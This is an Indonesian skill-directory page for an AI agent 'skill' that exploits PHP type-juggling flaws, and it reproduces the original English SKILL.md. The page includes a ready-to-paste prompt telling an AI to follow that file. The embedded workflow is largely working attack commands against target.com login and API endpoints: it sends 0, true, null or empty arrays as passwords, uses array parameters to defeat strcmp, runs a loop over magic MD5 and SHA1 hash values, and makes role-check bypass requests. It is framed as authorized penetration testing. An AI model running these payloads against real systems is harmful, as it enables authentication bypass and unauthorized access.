Langsung ke konten
Skillpedia
Agen35k ยท #7925

exploiting-type-juggling-vulnerabilities

Fungsinya

Alat ini membantu menemukan dan memanfaatkan celah keamanan pada website yang dibangun dengan bahasa PHP. Alat ini memanfaatkan cara PHP membandingkan tipe data secara longgar untuk mencoba mengakses area terbatas atau mengecoh sistem.

Kapan dipakai

  • โœ“Saat menguji keamanan website PHP untuk melihat apakah proses login bisa dilewati.
  • โœ“Saat website membandingkan password atau kode verifikasi secara kurang ketat.
  • โœ“Saat memeriksa apakah sistem bisa dikelabui agar memberikan akses ke fungsi terbatas.

Link skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-type-juggling-vulnerabilities/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-type-juggling-vulnerabilities/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œCoba login ke situs uji sebagai administrator, tetapi kirimkan angka 0 sebagai password, bukan teks.โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Alat ini mengirimkan berbagai jenis data (seperti angka, boolean, atau daftar kosong) ke kolom yang seharusnya menerima tipe tertentu. Jika website menggunakan perbandingan longgar, sistem mungkin menerima tipe yang tidak diharapkan sebagai data yang valid.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Exploiting Type Juggling Vulnerabilities

When to Use

  • When testing PHP web applications for authentication bypass vulnerabilities
  • During assessment of password comparison and hash verification logic
  • When testing applications using loose comparison (== instead of ===)
  • During code review of PHP applications handling JSON or deserialized input
  • When evaluating input validation that relies on type-dependent comparison

Prerequisites

  • Understanding of PHP type system and loose comparison behavior
  • Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
  • Burp Suite for request manipulation and parameter type changing
  • PHP development environment for testing payloads locally
  • Collection of magic hash strings from PayloadsAllTheThings
  • Ability to send JSON or serialized data to control input types

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 โ€” Identify Type Juggling Candidates

# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

Step 2 โ€” Exploit Loose Comparison Authentication Bypass

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

Step 3 โ€” Exploit Magic Hash Collisions

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

Step 4 โ€” Exploit Comparison in Access Control

# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)

# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"

# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \

โ€ฆ
Pertanyaan umum

Apa itu 'type juggling'?

Itu terjadi ketika PHP mencoba menebak tipe data untuk melakukan perbandingan, yang bisa menimbulkan kesalahan jika tipe data yang dikirim berbeda dari yang diharapkan.

Apa itu 'magic hashes'?

Itu adalah nilai hash (kode keamanan) yang, karena perbandingan longgar di PHP, dianggap sama dengan nol saat dibandingkan dengan angka, sehingga pengecekan password bisa dikelabui.

Apakah ini legal?

Alat ini hanya boleh digunakan untuk pengujian keamanan yang resmi dan dengan izin yang jelas. Menggunakannya tanpa izin itu melanggar hukum.

Detail

Deskripsi asli dari pembuat

Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularitas

Bintang GitHub
35k
Peringkat
#7925
Lisensi
Apache-2.0
Diperbarui
31/8/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa